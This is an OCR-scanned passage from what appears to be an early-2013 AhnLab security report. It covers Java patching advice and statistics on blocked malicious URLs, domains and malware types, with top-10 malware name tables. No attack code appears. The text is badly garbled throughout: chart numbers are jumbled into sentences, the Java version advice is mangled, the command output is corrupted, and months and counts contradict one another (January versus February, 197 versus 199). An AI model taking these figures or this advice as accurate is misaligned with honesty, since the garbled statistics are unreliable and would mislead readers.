vulnerabilities have been continuously exploited, users need to pay

extra caution.

If the Java version installed in your system is lower than Java 7
version 11, then you should install the latest version to protect your
system from Zero-day attacks. You can get security patches from

Oracle’s websites.

C:WDocuments and SettingsWasec>java —version
sion "1.7.0_05"
IM> SE Runtime Environment <build 1.7.8_65-b85>
mixed mode, sharing>

Java HotSpot<(TM> Client UM <build 23.1-h83.

[Figure 2-10] Java version verification

You can strengthen the security level by disenabling the Java plug-in

in web browsers.
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Web Security Trend

Web Security Statistics

Website Security Summary

This month, SiteGuard (AhnLab’s web browser security service)

Reported malicious codes

blocked 8,900 websites that distributed malicious codes. 353 types !
of malicious code, 199 domains with malicious code, and 818 URLs A
with malicious code were found. The overall number of malicious
codes decreased from the previous month, but the number of 46 50/
malicious code types, website domains with malicious codes, and ' - u 0o
URLs with malicious codes increased slightly.
Reported types of Domains with URLs with Graph
malicious code malicious code malicious code
337 187 692 353

337
3 5 3 8 1 8 A

187

199

A

[Table 3-1] Website Security Report in February 2013

. 16,641
Monthly Change in cham %5 4%
Blocked Malicious 15,000 } —
URLs 7,741 8,900

¥ 46.5%
8,900 blocked malicious URLs 10,000 I
were reported in January 2013, ﬁglg
0,
a 47% decrease from the 16,641 5,000 +
blocked in the previous month.
0
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[Figure 3-1] Monthly Change in Blocked Malicious URLs
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Monthly Change in the

Number of Reported 500 o 353
Malicious Code Types +40.4% 24.7%
The number of reported 240 + +16
¥ 14.9% +97
malicious code types in January 95 +
2013 slightly increased to 353
from the 337 reported in the
previous month.
0
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[Figure 3-2] Monthly Change in the Number of Reported Malicious Code Types

Monthly Change in
Domains with Malicious 400

Code

300 187 199
The number of reported 134 e »6.46%

. . - . ¥ 17.8%

domains with malicious codes in  9qg + +12
January 2013 slightly increased + +53
to 197 from the 187 reported in 100
the previous month.

0

11 12 01

[Figure 3-3] Monthly Change in Domains with Malicious Code
Monthly Change in 818
URLs with Malicious 1,000 s *18:2%
Code ¥50.4%

+126
818 URLs with malicious codes 460 +
¥ 24.3% +232

were reported in January 2013, g +
an 18% increase from the 692
reported in the previous month.

0

1 12 01

[Figure 3-4] Monthly Change in URLs with Malicious Code
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Top Distributed Types Type Reports Percentage
of Malicious Code TROJAN 3,934 44.2 %
Trojan Horse is the top LR 1,145 12.9 %
S . DROPPER 517 5.8%
distributed type of malicious DOWNLOADER P VT
code with 3,934 (44.2%) cases Win32/VIRUT 212 2.4%
reported, followed by Adware APPCARE 171 1.9 %
JOKE 15 0.2 %
ith 1,145 12.9%).
with 1,145 cases | o) SPYWARE ) 000
ETC 2,603 29.2%
TOTAL 8,900 100%

[Table 3-2] Top Distributed Types of Malicious Code

TROJAN
3,934
4,000
ETC
2,603
ADWARE
1,145 2,500
DROPPER
517
DOWNLOADER
301
Win32/VIRUT
212
APPCARE
7 JOKE
15 SPYWARE
2
0

[Figure 3-5] Top Distributed Types of Malicious Code

Top 10 Distributed Ranking avw Malicious Code Reports Percentage
Malicious Codes
1 A2 Win-Trojan/Installiq.1635520 914 27.2%
Win-Trojan/Installiq.1635520
o o 2 AL ALS/Bursted 366 10.9 %
was the top distributed malicious
code with 914 cases reported 3 NEW Adware/Win32.Clicker 355 10.5 %
and 4 malicious codes including 4 NEW  Adware/Win32.Downloader 301 8.9%
Adware/Win32.Clicker newly 5 AR ALS/Qfas 280 8.3 %
emerged.
6 AL Packed/Win32.Vmpbad 253 7.5%
7 NEW Trojan/Win32.Starter 239 7.1 %
8 V4 Trojan/Win32.Agent 238 7.1 %
9 NEW Win-Trojan/Zegost.406016 220 6.5 %
10 v2 Trojan/Win32.HDC 203 6.0 %
TOTAL 3,369 100 %

[Table 3-3] Top 10 Distributed Malicious Codes
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02 Web Security Trend

Web Security Issues

Mar. 2013 Malicious Code Intrusion of Website
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[Figure 3-6] 2012 Monthly Malicious Code Intrusion of Website

[Figure 3-6] shows the statistics of monthly malicious code intrusion

of websites. The number changes are not noteworthy.

Top 10 malicious codes distributed via websites

Ranking Threat URL
1 Trojan/Win32.Banki 9
2 Trojan/Win32.Patched 8
3 Trojan/Win32.0nlineGameHack 8
4 Win-Trojan/Downloader.76800.AL 8
5 Win-Trojan/Morix.118784 8
6 Trojan/Win32.0nlineGameHack 8
7 Win-Trojan/Qhost.845733 7
8 Win-Trojan/Downloader.62464.AP 7
9 Win-Trojan/Qhost.743424 7
10 Win-Trojan/Genome.58880.AE 7

[Table 3-4] Top 10 malicious codes distributed via websites

[Table 3-4] shows the Top 10 malicious codes distributed via websites
during February. Banki or Qhost malicious codes that steal online
banking user account information made up most of the Top 10

malicious codes.
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